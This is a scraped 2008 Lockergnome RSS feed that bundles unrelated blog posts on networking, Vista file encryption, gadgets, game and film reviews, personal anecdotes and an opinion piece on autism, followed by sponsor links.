      Another question that came up was wondering what Josh believed the greatest threat is to networks in the coming years. Josh tends to think that as far as things like viruses go, the network gear today is very well equipped to handle them. He doesn’t see threats like that as much of an issue. What he does feel that Network Admins should be aware of is the idea of having real-time collaborative conferencing. It’s really just barely starting to take off, and will likely grow very quickly. You need to stay a few steps ahead of the users you are providing support to.

      I get a lot of people constantly asking me about tweaks. I wondered if many of the “popular” tweaks are actually valid. Josh stated there truly is a lot of things that can be tweaked in order to enhance your network performance. You definitely want to make sure you know what you’re doing before diving in to make major changes, and always back up everything you can before beginning.

      The Engineer’s Toolset Engineer’s Toolset includes 49 powerful network management, monitoring and troubleshooting tools to easily and effectively manage your network. Some of the key features are:

      • Monitors and alerts on availability, bandwidth utilization, and health for hundreds of network devices
      • Provides robust network diagnostics for troubleshooting and quickly resolving complex network issues
      • Offers an array of network discovery tools that facilitate IP address management, port mapping and ping sweeps
      • Eases management of Cisco devices with tools for real-time NetFlow analysis, configuration management and router management

      Please leave me your network optimization tips, so that everyone can learn. And be sure to check out everything SolarWinds has to offer.

      Want to embed this video on your own site, blog, or forum? Use this code or download the video:

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      ]]>             Setting Up Encryption In Vista Part III http://www.lockergnome.com/it/2008/07/22/setting-up-encryption-in-vista-part-iii/ http://www.lockergnome.com/it/2008/07/22/setting-up-encryption-in-vista-part-iii/#comments Tue, 22 Jul 2008 00:02:03 -0400 http://www.lockergnome.com/it/2008/07/21/setting-up-encryption-in-vista-part-iii/ Author Avatar

      In the Part II of this series, you learned how to encrypt files in Vista and verify that users are unable to open the encrypted files. An important point to keep in mind is that although the user is unable to open the file, they can delete the file. You might be confused as to how this is possible.

      Here is the answer: The user has full-share and NTFS permissions to the file. These permissions include reading, modifying, and deleting the file. If the user does not try to open the file, the EFS subsystem isn't required. If the user tries to open the file, the EFS subsystem intervenes and denies access. But users can simply delete the file, which they have rights to do as defined by the NTFS permissions. Remember, file encryption is used to protect the contents of a file from prying eyes. It is not designed to protect the file itself. That's why a properly designed share and NTFS structure is still critical even when using EFS.

      In Vista, multiple users can be granted rights to read and modify encrypted files. Right click the encrypted file that you want to share and click Properties. From the General tab, click the Advanced button. From the Advanced Attributes dialog box, click the Details button. Click the Add button. Select the user to whom you want to grant access to the encrypted file. Click OK. Once the appropriate user has been granted permission, they will be able to open the file.

      When an encrypted file is moved or copied from its source location to a new location, it is first decrypted. But this isn't a hole in the security scheme. To copy or move an encrypted file, you must have the ability to open the encrypted file. In fact, even if a user has NTFS rights but doesn't have rights to decrypt the file, he or she will be greeted with an error message.

      [rssbullet:http://ah.pricegrabber.com/export_feeds.php?pid=hjehfab&document_type=rss&limit=25&topcat_id=all&category=topcat:all&col_description=1&form_keyword=vista]

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      ]]>             The Essential Guide To Solving Server Sprawl http://www.lockergnome.com/it/2008/07/22/the-essential-guide-to-solving-server-sprawl/ http://www.lockergnome.com/it/2008/07/22/the-essential-guide-to-solving-server-sprawl/#comments Tue, 22 Jul 2008 00:01:19 -0400 http://www.lockergnome.com/it/2008/07/21/the-essential-guide-to-solving-server-sprawl/ Author AvatarThere should be an image here!The challenge of server sprawl, coupled with the desire to reduce energy costs and the increasing demand for computer resources and rack space, make today an ideal time to consider Microsoft SQL Server 2005 for database consolidation in 64-bit computing environments.

      This article will focus on:

      • A clear understanding of the problem of server sprawl
      • Steps for a successful consolidation
      • Hardware options
      • Scalability
      • Licensing options

      Read the article: The Essential Guide To Solving Server Sprawl!

      Lockergnome has joined forces with TradePub.com to offer you a new, exciting, and entirely free professional resource. Visit us today to browse our selection of complimentary IT-related magazines, white papers, webinars, podcasts, and more across 34 industry sectors. No credit cards, coupons, or promo codes required. Try it today!

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      ]]>             Michael Savage Controversial Autism Remark http://www.lockergnome.com/jtrooster/2008/07/21/michael-savage-speaks-out-about-autism/ http://www.lockergnome.com/jtrooster/2008/07/21/michael-savage-speaks-out-about-autism/#comments Mon, 21 Jul 2008 23:22:41 -0400 http://www.lockergnome.com/jtrooster/2008/07/21/michael-savage-speaks-out-about-autism/ Author AvatarI've been on a lull lately, wondering what subject I should attack next (as there are so many these days!) - but nothing has really grabbed my attention over the last month or so... until now! I owe thanks to Michael Savage for my next topic of discussion... his recent remark which to the untrained ear, sounded like an attack on autistic children when he recently described autistic children as being brats. While on the subject of Autistic children he said "In 99 percent of the cases, it's a brat who hasn't been told to cut the act out," to which I say, Rock on Mike! As I wrote about in my blog regarding spanking, kids these days have it much too easy and are practically given excuses from parents, teachers, the medical field and even the government?? to act like barbaric, selfish little sociopaths' - however, the order and the adjectives used in the previous sentence may vary depending on parenting.?? Mind you I that I do not typically agree with about 60% of what Michael has to say, but to his defense he was not attacking kids that really are afflicted with the disease, but instead he was taking shots at the medical profession (read my blog about that too if you like) as well as poor parenting. What I see his point as being is that this modern era of medicine is worse than all the crack and heroin dealers combined, that kids are being labeled as something that they are not just to shove drugs in their face. The drug companies want to deal their drugs and what better target market than to appeal to overcritical and under informed parents that think the problem lies with their child, not with their own lousy parenting, a medical misdiagnosis or the possibility that their kid just might be anti social and would prefer to be left alone, in my day it was called; being a loner - I was one of those kids.?? A good friend of mine knows an "Autistic" child, I use quotes because she isn't convinced that the little boy is actually Autistic. He runs, plays, laughs, gives hugs, loves watching his cartoons, yet he is on drugs to manage his "Autism." His parents both work long hours including weekends, he spends most of his time with a daycare provider as well as his grandparents. Sometimes he plays with the other kids at daycare, sometimes he doesn't. But his parents are certain that their boy has the disease because he doesn't quite relate to them, is distant and tends to act up while in their presence... hmm, I can't help but to wonder why? Of course we can't have a statement like the one Michael said without people crawling out of the woodwork to protest. I have to ask though, what are they protesting?.. the disease itself or the fact that these people have no idea how to interpret their child's actions as well as a statement made more or less on their own behalf? Either way it's no surprise to me. We are a people that no longer choose to help ourselves, instead we rely on others to make our decisions for us, at least for the most part. I.E. we need a drug to manage our cholesterol while proper diet and exercise are merely secondary if not optional all together.?? It seems Autism is being taken much too lightly and labeling a child as such is becoming much too quick and easy. What really irks me though are the people who constantly feel the need to go out of their way to protest mere words spoken by one man indirectly at no one specific. In this case, Michael was simply describing his distaste for the ignorance of a public that seems all to eager to diagnose a child with a life altering disease, speaking on the behalf of those who cannot. Seems admirable to me. Instead, his words have been twisted and deformed, the meaning was lost and those waiting to protest something are out in full force... speaking of, where the hell is Al Sharpton?

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      ]]>             Funeral Planned For Computer Mouse In 5 Years http://www.lockergnome.com/forian/2008/07/21/funeral-planned-for-computer-mouse-in-5-years/ http://www.lockergnome.com/forian/2008/07/21/funeral-planned-for-computer-mouse-in-5-years/#comments Mon, 21 Jul 2008 23:10:19 -0400 http://www.lockergnome.com/forian/2008/07/21/funeral-planned-for-computer-mouse-in-5-years/ Author AvatarI am a fan of the computer mouse. If I could, I would let it interact in my world when ever possible. So it saddens me to hear that the demise of this 40 year old innovation will be ending very soon reports the BBC in an interview with Gartner??representative, Steve Prentice:??
      "The mouse works fine in the desktop environment but for home entertainment or working on a notebook it's over."????
      ??"You've got Panasonic showing forward facing video in the home entertainment environment. Instead of using a conventional remote control you hold up your hand and it recognises you have done that."
      Prentice also mentioned how long it would be till we say goodbye to our dear friend: 3 to 5 years. Facial recognition is also one of the many upcoming??alternatives??coming to the tech world as early as September this year:
      "It also recognises your face and that you are you and it will display on your TV screen your menu. You can move your hand to move around and select what you want...??You even have emotive systems where you can wear a headset and control a computer by simply thinking and that's a device set to hit the market in September."????
      But many people (especially??the big guys in the computing mouse??business) have stated that this is a bogus report. Here is what??Rory Dooley, senior vice president and general manager of Logitech's control devices unit, had to say:??
      "The death of the mouse is greatly exaggerated...??This just proves how important a device the mouse is.??People have been talking about convergence for years.??Today's TV works as a computer and today's computer works as a TV."????
      He did happen to mention that the market is becoming more and more open to other ways of interacting with computer, be it via a touch screen or by your voice.So be it. I, nor any blogger will be able to stop the demand for these types of technology... The most we can do is salvage our memories now. RIP the computer mouse. Feel free to comment.

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      ]]>             Web Browsing Tablet PC http://www.lockergnome.com/jfcapasso/2008/07/21/web-browsing-tablet-pc/ http://www.lockergnome.com/jfcapasso/2008/07/21/web-browsing-tablet-pc/#comments Mon, 21 Jul 2008 22:56:08 -0400 http://www.lockergnome.com/jfcapasso/2008/07/21/web-browsing-tablet-pc/ Author AvatarWhether it is for email, browsing or both; there are a good number of people who use their computers for only web-browsing.?? How nice would it be to have an inexpensive computer that was solely designed for internet browsing.?? This is exactly what some people want.
      Here's the basic idea: The machine is as thin as possible, runs low end hardware and has a single button for powering it on and off, headphone jacks, a built in camera for video, low end speakers, and a microphone. It will have Wifi, maybe one USB port, a built in battery, half a Gigabyte of RAM, a 4-Gigabyte solid state hard drive. Data input is primarily through an iPhone-like touch screen keyboard. It runs on linux and Firefox. It would be great to have it be built entirely on open source hardware, but including Skype for VOIP and video calls may be a nice touch, too. If all you are doing is running Firefox and Skype, you don't need a lot of hardware horsepower, which will keep the cost way down. Link: We Want a Dead Simple Web Tablet...
      The article is an interesting read, but I do not know if any of the big computer companies would take the time to develop such a simple piece of technology.?? They would have to sell a large number of these computers in order to make a profit.?? More importantly, ASUS already has something similar on the marketl the Eee PC.?? For under $500 dollars a user can get a small laptop that runs the bare necessities, but the monitor is rather small. What do you think??? Would you be interested in a tablet-touch-screen, internet only laptop? Justin

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      ]]>             strat demo days at GC http://www.lockergnome.com/leftystrat/2008/07/21/strat-demo-days-at-gc/ http://www.lockergnome.com/leftystrat/2008/07/21/strat-demo-days-at-gc/#comments Mon, 21 Jul 2008 21:19:47 -0400 http://www.lockergnome.com/leftystrat/2008/07/21/strat-demo-days-at-gc/ Author AvatarSince it's been a while and since I'm a glutton for punishment and since I don't often get to go into guitar stores with another lefty for pure entertainment, I managed to get by tonight.?? I heard all sorts of radio spots and even got a flyer for Guitar Center's Strat Demo Days.???? The apparent idea is to stop by and try out different Stratocasters (and amps) every week. Personally I think you'd get better results by trying out different Strats through the same amp but what do I know. I was greeted by a display demo of Strats.?? And some absolutely horrid noise.?? I looked around for the source of the industrial accident, half expecting to find an eighteen wheeler embedded in the wall and all sorts of construction equipment going full blast in hopes of rescuing said truck. Nope, nothing that exciting.?? It was merely some fellow checking out a guitar and an amp. GC has this policy of letting people play the guitars and amps, which tends to act as a deterrent to anybody else wanting to play the guitars and amps (or maintain what's left of their hearing and sanity). Now let me set the mood further by telling you that my co-lefty this evening has a bit of a hearing impairment.?? She appeared to be in a quandary as to whether to turn off her hearing aids and be spared the aural assault or leave them on and still attempt to lip-read what others were saying.?? Choosing the latter, we proceeded to look around. To no one's shock and surprise, the lefty selection was quite limited.?? They had a few more Epiphones, but I prefer guitars made from wood. The real shock was that during Strat Demo Days, there were very few actual Strats on the walls.?? Those present were of two or three varieties.?? Nothing special or out of the ordinary.?? Considering that Fender will give a signature Strat to anyone who sneezes these days, it was odd not to find any. Meanwhile, Mr. Malmsteen the Second continued to wail away.?? Or rather wank away. I was amazed that this denizen of digital dexterity did not choose an axe with a whammy bar so as to further convince everybody of his specialness.?? When I looked over, I realized he was holding a Gibson 335.?? The amp sounded so uniformly bad at all of its settings that you couldn't even make out that the fellow mangling the strings was using a 335. The salesman, bless his heart, was attempting to sell an amp to this advanced wah wanker, but every point he was making had to be shouted over the din of the fellow trying out the amp.?? The salesman pointed out that this was a good choice because it was a very versatile amp, offering great tonal range. I pointed out to my companion that even though it offered a lot of tones, it was of little value if all of them were bad (as was their input source).?? Plus if the salesman has to shout over your alleged playing, something is definitely wrong. Unable to stand there any longer, we headed for Effects, where we encountered several other people who fled in hopes of aural salvation.?? They also had pained looks on their faces.?? I suspect the two behind the counter were deaf, as they showed no emotion or even notice of the audio devastation at all.?? These are probably the same people who never hear their own kids screaming at the mall or running up and down the aisles at a movie theater.?? After all, their Johnny would never do a thing like that. I let loose the first phrase that came to mind (Volume is inversely proportional to talent), which was greeted with universal agreement. If nothing else, it was pretty damn accurate. Unable to endure several of the recurring pains, we left the store.?? We traveled via the turnpike and were thankful for the relative relief of the jackhammers.

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      ]]>             vice wife? http://www.lockergnome.com/leftystrat/2008/07/21/vice-wife/ http://www.lockergnome.com/leftystrat/2008/07/21/vice-wife/#comments Mon, 21 Jul 2008 20:57:24 -0400 http://www.lockergnome.com/leftystrat/2008/07/21/vice-wife/ Author AvatarThis is a concept I've been working on ever since I got married.?? It is explained thusly: If the president is no longer able to perform his presidential duties, the vice president steps in and takes over. Therefore, if the wife is no longer able to perform her wifely duties, the vice wife steps in and takes over.?? Or assists as needed. So far the reaction to this concept has varied from "Yeah, good luck with that" to "That is not funny."?? For some strange reason it tends to go over better with men than women uniformly. My wife, a women of great humor (she married me, right?), fails to see either merit or humor in this.?? She asked me how I felt about a vice husband.?? I told her that if I fail to do my husbandly duties, she should get one.?? She was not impressed with that line of reasoning either. It's not like I'm attempting to double my pleasure and double my fun with the wife and the vice wife; I'm not greedy.???? I'd just prefer that one or the other was active at all times.???? The country (and the marriage) needs its titular head at all times to function properly. So folks, until I get some of the kinks out of the process, you'll probably want to avoid bringing up this topic with your other half.?? Unless you're just itching for an argument, of course.

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      ]]>             Man Blows Up Apartment With Bug Spray http://www.lockergnome.com/forian/2008/07/21/man-blows-up-apartment-with-bug-spray/ http://www.lockergnome.com/forian/2008/07/21/man-blows-up-apartment-with-bug-spray/#comments Mon, 21 Jul 2008 20:52:30 -0400 http://www.lockergnome.com/forian/2008/07/21/man-blows-up-apartment-with-bug-spray/ Author AvatarIf kids starting axe fires in their bedrooms wasn't enough, a Jersey man who was apparently trying to get rid of a a bug infestation set fire to 80% of his??apartment??when the flammable??spray-can??that he was using exploded.The fire caused thousands of dollars in damages, including smoke damage to neighboring buildings. The man,??Isias Vidal Maceda, was not injured when the fired??occurred. Feel free to comment.????????

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      ]]>             Consider Myself Alerted [Network Monitoring] http://www.lockergnome.com/leftystrat/2008/07/21/consider-myself-alertednetwork-monitoring/ http://www.lockergnome.com/leftystrat/2008/07/21/consider-myself-alertednetwork-monitoring/#comments Mon, 21 Jul 2008 20:45:48 -0400 http://www.lockergnome.com/leftystrat/2008/07/21/consider-myself-alertednetwork-monitoring/ Author AvatarI'm really keen on network monitoring.?? I have this thing about knowing how things are performing, if everything's up to spec, and if there are any impending problems that are going to cause way more grief than anyone needs. If you can picture this, we have four twenty-two inch monitors, set up two by two, as a visual indicator of network status for the entire department.?? This never fails to impress everyone who sees it.?? I get the general impression that if the monitors fails to work, people would still be impressed by it.?? Hint: drop a few bucks on four monitors and a mounting system.?? Put it up high or on the wall.?? Have it display something impressive.?? It's worth whatever it costs.?? It's like the machine that goes BING. There is a ton of software that will help you monitor your network.?? I like very little of it.?? I have tried everything from open-source to five-figure monitor software.?? At the moment, I'm finding the best, most comprehensive software is called The Dude.?? It's free.?? Yes, free.?? It runs under Windows or linux.?? It can monitor via plain old ping or do all sorts of snmp magic.?? It can notify you via all sorts of paths. It is the alerting bit that I'm going to address. ?? I used to vpn into work fairly frequently to monitor things.?? As things were made more reliable, the need for watching lessened.?? As I stopped watching closely, things started to fail every now and then, just out of spite.?? After a brief huddle, I figured out how to make The Dude send a text message to my phone when something went down.?? The message states very plainly what stopped responding and when.?? Very useful. The next day at work we had to do a lot of rebooting of a server for some installs.?? DING - "Server RINGO not responding to ping."?? DING - "Service ftp on RINGO down."?? DING = "Service http on RINGO down." ?? Yay - it worked!!! Then there were the three DINGs telling me they had all come back up.?? "Yay," I thought, with somewhat less enthusiasm.?? This could potentially get slightly annoying.?? Especially as RINGO needed to be rebooted several times before the updates were complete. It got to the point, over the next few days, when we'd all hear DING and I'd say, "It's ok, I'll get it."?? Ten times in a row.?? My coworkers were amused, especially as they didn't have to carry around my phone.?? I stopped the chuckling immediately when I told them that some of them were going to have to be on alert after I was nice enough to `tune' the alerting system first.?? I suspect some of the server reboots after that incident were not as needed as they claimed. Last Wednesday I pulled up in front of my house and got a few DINGs.?? I rushed into the house with a phone that couldn't go DING fast enough to get the next DING out.?? I attempted to figure out what was allegedly down but every time I got a message up, a new DING preceeded a new message. I tried phoning people still at work.?? Nope - the DINGing continued.?? I could barely get a number dialed or hear a voicemail prompt. ?? Have you ever noticed that outgoing voicemail messages are even longer when you're agitated and really need to get in touch with someone??? I did.?? As did my wife and houseguest, who had to suffer through the constant DINGing as well as my constant cursing about the phone `helping' me by constantly interrupting whatever I was trying to do on it to tell me there was a text message waiting for me.?? And then cursing because out of three people on staff at that hour, I got three voicemails. By the time the phone stopped DINGing long enough for me to feel it was safe, the total was ONE HUNDRED NINETY TWO messages.?? Only one hundred ninety two DINGs. I finally reached someone who told me everything was fine.?? It appeared that someone may have `helped' us out by unplugging a switch or two, causing all connectivity to appear down.?? Or someone on the floor made one of those nice little loops, where they plug a hub or switch into itself, causing Network Havoc<tm>. I figured it was my fault anyway.?? For some odd reason I have been waking up at horrible hours of the morning and going to work early as a result.?? The first time I figured I'd leave an hour early and forgot I was supposed to (always something to do anyway).?? The next day, the Wednesday in question, I left an hour early because I came in over an hour early and I had company.?? So if I had put in a 9-10 hour day, I would have been there when everything went wonky.?? Mind you there's quite a competent crew there so I don 't technically have to feel that bad when I'm not in the office but it's my parents' fault for giving me this nasty work ethic. At this point I start investigating dependencies; where if a switch or firewall was down, it would alert me but if anything under it was down, they wouldn't.?? This is a great concept but it fails a bit in the execution.?? I need to know when any single piece goes down and comes back up. Until an epiphany sets in, I'm going to have to endure a lot of DINGing.?? I figure I'll get a lot more help on this project once I start adding coworkers to the DING list.?? In the midst of virtualization, I'm hoping that less hardware will mean less alerts.

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      ]]>             Dragon Ball Z: Burst Limit Review http://www.lockergnome.com/zero/2008/07/21/dragon-ball-z-burst-limit-review/ http://www.lockergnome.com/zero/2008/07/21/dragon-ball-z-burst-limit-review/#comments Mon, 21 Jul 2008 20:26:55 -0400 http://www.lockergnome.com/zero/2008/07/21/dragon-ball-z-burst-limit-review/ Author AvatarI recently got Dragon Ball Z: Burst Limit for my PS3 because I am a big fan of the DBZ anime series and since I haven't played a DBZ fighting game since the first ones that were released for the PS2 and Gamecube. Since I thought this game would be good I decided to pick it up and give it a try. Now this game has a Story Mode, VS. Mode, Online VS. Mode, and Training. If this would be you first DBZ fighting game then you should do the training to get use to the game, even people that have played old DBZ games before should go through the training so they can go over the buttons and try out everything before getting to the Story Mode or playing against someone, you also get something from doing the Training Mode.Now this game for the Xbox 360 and PS3 game is kinda short it doesn't complete the whole DBZ saga but it's still a great game for a what it offers in the story mode because they add some characters from two movies and add those scenes to the Story Mode. You don't get a lot of characters to play with especially coming from the other DBZ games but that was fine since the game still played out fine. Now one of the only problems I had is that when playing through the Story Mode the computer player always blocked a lot and that kinda got annoying, and after a while of fighting them you get used to what there going to do. Now online mode is great you can invite your friends to play and even play with other people around the world. Now one of the only problems that I had from the online play is that a lot of people were lagging when playing online, maybe it's because sometimes I was playing against people from other countries but the game does tell you how good the connection of your opponent is so you can decide if you want to play or not. This is a great DBZ game, fans of the anime series won't be disappointed and it's also a great fighting game that you can play with friends offline or online and something for a Fighting game fans to play until Soul Calibur 4 comes out.

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      ]]>             How Chase/Quicken Screwed Me http://www.lockergnome.com/oztech/2008/07/21/how-chasequicken-screwed-me/ http://www.lockergnome.com/oztech/2008/07/21/how-chasequicken-screwed-me/#comments Mon, 21 Jul 2008 18:59:34 -0400 http://www.lockergnome.com/oztech/2008/07/21/how-chasequicken-screwed-me/ Author AvatarFor years I have had a Quicken credit card. The rate was decent at 10%. I then missed 1 payment and the APR skyrocketed to 28%. OK, so I call QuickenCard, which is CitiBank. I ask them to please lower my APR. They say OK, and that it will be done in 1 month. Enter Chase, who takes over the QuickenCard services. I notice on my first statement with the new bank that my APR is 28%. I call and ask about getting a lower rate. Nope, can't do it. "We don't have access to your previous information." I spoke to a supervisor, same thing. I have fairly decent credit, and even another Chase card with an 11% rate. Why the 28% rate? Because they can, and there's nothing I can do about it. Too bad that Chase is giving Quicken a bad name, I will never buy another Quicken product. I would suggest you do the same. Microsoft and HR Block make better money products anyways.

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      ]]>             Rolling Up The Charger Cord, Permanently http://www.lockergnome.com/cellphones/2008/07/21/rolling-up-the-charger-cord-permanently/ http://www.lockergnome.com/cellphones/2008/07/21/rolling-up-the-charger-cord-permanently/#comments Mon, 21 Jul 2008 18:24:30 -0400 http://www.lockergnome.com/cellphones/2008/07/21/rolling-up-the-charger-cord-permanently/ Author AvatarCords, cords cords.?? In today's world, electronic devices almost define us.?? Along with them goes corded chargers.?? Since companies love to sell you accessories, they are all proprietary, meaning you have to have one for each of your devices.?? I have a box full of wall chargers and I haven't got a clue what they go to, just sitting in my closet.?? Most from old devices that are stored somewhere in this apartment, I have no clue where. Named one of TIME magazine???s best inventions of the year, the WildCharger is a flat, thin pad (it could easily be mistaken for a mouse pad) with a conductive surface. When the pad is plugged in, any cell phone or other electronic device that is set on it automatically begins to charge. Well, OK, it???s not quite that easy: the cell phone or device must first be equipped with a WildCharge adapter in order to power up. An adapter connects to a device???s battery cover and has tiny bumps all over it that, when in contact with any part of the pad, receive power and transfer it inward. The pad can be used universally with any device that has an adapter ??? meaning all different types and brands of cell phones or music and video players can be charged on any pad. And, the charging speed is exactly the same as if the device was plugged into an outlet with a charger. image-1 Right now the device is limited to certain brands, such as the Motorola RAZR and iPod.?? Each device has to be equipped with an adapter that allows the charge to reach the battery, but can't you see this being updated so all you have to do is lay any electronic device on it to charge??? It will sense anything that is not meant to be on it, such as car keys, and shut itself down, then restart once those items are removed and a compatible device is set on it. I can see coffee tables embedded with this and other surfaces you might routinely put your electronic devices.

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      ]]>             The Heath Ledger Movie...Erm... The Dark Knight http://www.lockergnome.com/techandramen/2008/07/21/the-heath-ledger-movieerm-the-dark-knight/ http://www.lockergnome.com/techandramen/2008/07/21/the-heath-ledger-movieerm-the-dark-knight/#comments Mon, 21 Jul 2008 18:23:06 -0400 http://www.lockergnome.com/techandramen/2008/07/21/the-heath-ledger-movieerm-the-dark-knight/ Author AvatarWhy do we watch movies? Are they merely easier to digest than books? They are definitely faster to consume. Is it just the bright shinies of the silver screen that attract us, the explosions, guts, and sex???I subscribe to a different school of thought. Unfortunately, there are very few reminders these days as to why we prefer movies to books, besides the obvious ease with which we enjoy them. Occasionally, an actor undertakes such a mind blowing performance that we are reminded why we fork out ten bucks for a ticket and an extra ten for some burnt popcorn and a watery beverage.

      To be blunt, Heath Ledger's Joker could very well be the greatest character portrayal of all time. I'm not talking the top ten here; I'm talking number one. Ledger's performance is absolutely flawless, and it is obvious that he completely loses himself in his character. He makes the other actors' performances seem almost remedial, especially Bales. The performance is easily Ledger's best and is easily deserving of best actor.

      That being said, lets discuss the movie. The Dark Knight on its own merit is ok. It's not mind blowing. There is a single performance that makes the movie "good." To put this in another perspective, would putting Ken Griffey, Jr. on a little league team make the team "good?" I'd bet not. This same premise applies to The Dark Knight; it's a fun movie, but not quite up to par. It is obvious that the writers were trying to tie in as much of the old-school Batman as possible (bat computer, Two Face, etc.), and this makes bits of the movie seem almost forced (quite a bit of cell phone product placement is also an unwelcome touch).

      How could I be so harsh? The simple fact is, there is enough of the Joker in the movie to make it fantastically entertaining. This movie is by far a must see, if not for anything else, for Ledger's performance alone. It's a fitting end to a fantastic career.

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      ]]>             Circulate Prologue Review http://www.lockergnome.com/igames/2008/07/21/circulate-prologue-review/ http://www.lockergnome.com/igames/2008/07/21/circulate-prologue-review/#comments Mon, 21 Jul 2008 17:36:05 -0400 http://www.lockergnome.com/igames/2008/07/21/circulate-prologue-review/ Author Avatar Circulate Prologue was released today on in the App Store for the modest price of $.99 and is another addition to the huge collection of puzzle games for the iPhone. You may have already heard of the game Circulate before because it has been released in the past for numerous cell phones. As you may of noticed the game features the word prologue to its name because this inst the full game. This shouldn't scare you away from buying it though because the few hours I have put into have been pretty fun. The gameplay starts off simple and gets pretty complex.?? You have to get three of the same color spheres touching for a few seconds for them to disappear and for you to get points and to extend the time. This is basically the first few levels. After a while bombs and Grey color spheres will start to drop and you have to tap the bomb to blow up the Grey spheres and some of the other surrounding spheres. You have to tilt the screen around, surprise, to move the spheres around and try to match them up. I really like the graphics in this game. Everything is bright and the levels change without a loading screen at all and the action keeps going as the level changes. The strong point of this game is its sound. The music in the game is MP3 quality and really gives a good relaxing score, almost rivaling that of Aqua Forrest. If you have a dollar to spend this game is worth checking out. I suspect that the full game will be released here shortly and that should be fun to play also, until then enjoy this game. ??App Store Link

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      ]]>             Dental Guilt http://www.lockergnome.com/canine/2008/07/21/dental-guilt/ http://www.lockergnome.com/canine/2008/07/21/dental-guilt/#comments Mon, 21 Jul 2008 17:31:13 -0400 http://www.lockergnome.com/canine/2008/07/21/dental-guilt/ Author AvatarSometimes we dentists feel like we're in charge of the confessional "Dr I haven't flossed for a year, Dr I know I clench my teeth, Dr I know I should have gotten that crown"?? "Ok Mrs O'malley give me three flossings, one fluoride treatment, a cleaning and you are forgiven" ???? I get it all the time, and I'm here to say lose it.?? Forget it, and stop feeling guilty about the choices you make with your oral health.?? I have had multiple patients of late, good patients that took fantastic care of their teeth, all of the sudden have problems.?? In both cases these people had lost loved ones, in one case multiple loved ones, and friends.?? What am I supposed to say, "Ken you've lost your wife, and are grieving, but damnit you should be flossing better, and now there are 3 cavities because you haven't brushed for a month"???? I can't do that, it's cruel,?? I treat my patients like family so I just can't do it.???? I don't care how bad it gets, I want my patients to trust that I will help them get better, and work to prevent things from getting worse.???? In both cases I was able to provide some preventive measures to help the patients get through their grieving, and we mopped things up when they were ready. ?? It doesn't mean I won't still provide preventive advice, or my opinion as to which treatment would be best, but we as dentists do understand our patients make decisions based on the greater context of their own lives, and it's ok, so lose the guilt, go in, get it fixed.

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      ]]>             Help Build A Simple Web Tablet For $200 http://www.lockergnome.com/blade/2008/07/21/help-build-a-simple-web-tablet-for-200/ http://www.lockergnome.com/blade/2008/07/21/help-build-a-simple-web-tablet-for-200/#comments Mon, 21 Jul 2008 15:46:33 -0400 http://www.lockergnome.com/blade/2008/07/21/help-build-a-simple-web-tablet-for-200/ Author AvatarOK you techies. Here is your chance to get in on the bottom floor on a project over at TechCrunch. They want to design a web tablet and want to keep the price at $200. They are looking for techies to join in on the project and to actually develop a prototype of the unit. They list some of what they want the unit to be as:
      I???m tired of waiting - I want a dead simple and dirt cheap touch screen web tablet to surf the web. Nothing fancy like the Dell Latitude XT , which costs $2,500. Just a Macbook Air-thin touch screen machine that runs Firefox and possibly Skype on top of a Linux kernel. It doesn???t exist today, and as far as we can tell no one is creating one. So let???s design it, build a few and then open source the specs so anyone can create them. Here???s the basic idea: The machine is as thin as possible, runs low end hardware and has a single button for powering it on and off, headphone jacks, a built in camera for video, low end speakers, and a microphone. It will have Wifi, maybe one USB port, a built in battery, half a Gigabyte of RAM, a 4-Gigabyte solid state hard drive. Data input is primarily through an iPhone-like touch screen keyboard. It runs on linux and Firefox. It would be great to have it be built entirely on open source hardware, but including Skype for VOIP and video calls may be a nice touch, too. If all you are doing is running Firefox and Skype, you don???t need a lot of hardware horsepower, which will keep the cost way down. The idea is to turn it on, bypass any desktop interface, and go directly to Firefox running in a modified Kiosk Mode that effectively turns the browser into the operating system for the device. Add Gears for offline syncing of Google docs, email, etc., and Skype for communication and you have a machine that will be almost as useful as a desktop but cheaper and more portable than any laptop or tablet PC. It will also include a custom default home page with large buttons for bookmarked services - news, Meebo/Ebuddy for IM, Google Docs/Zoho for Office, Email, social networks, photo sites, YouTube, etc. Everything that you use every day. We???re working with a supply chain management company that says the basic machine we???re looking to build can be created for just a few hundred dollars. They need us to write the software modifications to Linux and Firefox (more on that below) and spec the hardware. Then they run with it and can have a few prototypes built within a month. What will we call it? The best name I can think of is the Firefox Tablet, but that will take a round of discussions with Mozilla.
      I'll tell you one thing. I give the folks over at TechCrunch credit for taking on a project that would provide a useful and simple device for surfing the Internet. That they are asking for assistance from the public is also commendable. So if you have something to offer, join in and help to develop this new device. Even if you have no techie abilities, join in a give the project your support. Already over 200 folks have already left comments. Here is how to join in:
      We???ll be coordinating the project over at TechCrunchIT. Leave a comment there if you want to participate and we???ll be in touch soon.
      Comments welcome. Spread the word. Source.

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      ]]>             Online Web Conferencing for Meetings Tired of business travel? Conduct meetings online with <a href="http://www.GoToMeeting.com/ChrisPirillo">GoToMeeting</a> instead. We've been using it for quite some time for both personal and professional projects - it's worked like a charm! If you're an independent consultant, you owe it to your clients to start using <a href="http://www.GoToMeeting.com/ChrisPirillo">collaboration software</a> for Web-based interaction. chris@lockergnome.com (Chris Pirillo) Partner Mon, 25 Feb 2008 06:30:00 GMT http://www.GoToMeeting.com/ChrisPirillo http://www.GoToMeeting.com/ChrisPirillo Network Tools for Windows You need these network tools, no matter which operating systems and networks you have to support. <a href="http://support.solarwinds.com/updates/New-Customer.cfm?ProdID=568&campaign=ipmon_DL_lockergnome&CMP=BAC-ipmonDL_lockergnome">SolarWinds ipMonitor</a>: Affordable Network Monitoring for SMBs. Get turnkey network, server and application availability monitoring with SolarWinds ipMonitor v9.0. This easy-to-use, reliable solution for SMBs delivers out-of-the-box availability monitoring so you always know exactly what's up with Active Directory, DNS, Exchange, FTP, Web, IMAP, MS SQL Server, and SMTP. <a href="http://support.solarwinds.com/updates/New-Customer.cfm?ProdID=568&campaign=ipmon_DL_lockergnome&CMP=BAC-ipmonDL_lockergnome">Download your free trial today</a>. Or, try their <a href="http://www.solarwinds.com/products/freetools/">totally free tools</a>! And, through 2/29, save 20% when you purchase <a href="http://store.solarwinds.com/s.nl/sc.16/.f">ipMonitor 9.0</a>. chris@lockergnome.com (Chris Pirillo) Partner Mon, 25 Feb 2008 06:30:00 GMT http://support.solarwinds.com/updates/New-Customer.cfm?ProdID=568&campaign=ipmon_DL_lockergnome&CMP=BAC-ipmonDL_lockergnome http://support.solarwinds.com/updates/New-Customer.cfm?ProdID=568&campaign=ipmon_DL_lockergnome&CMP=BAC-ipmonDL_lockergnome Trade in Your Cell Phones for Money Do you have a ton of old cell phones and 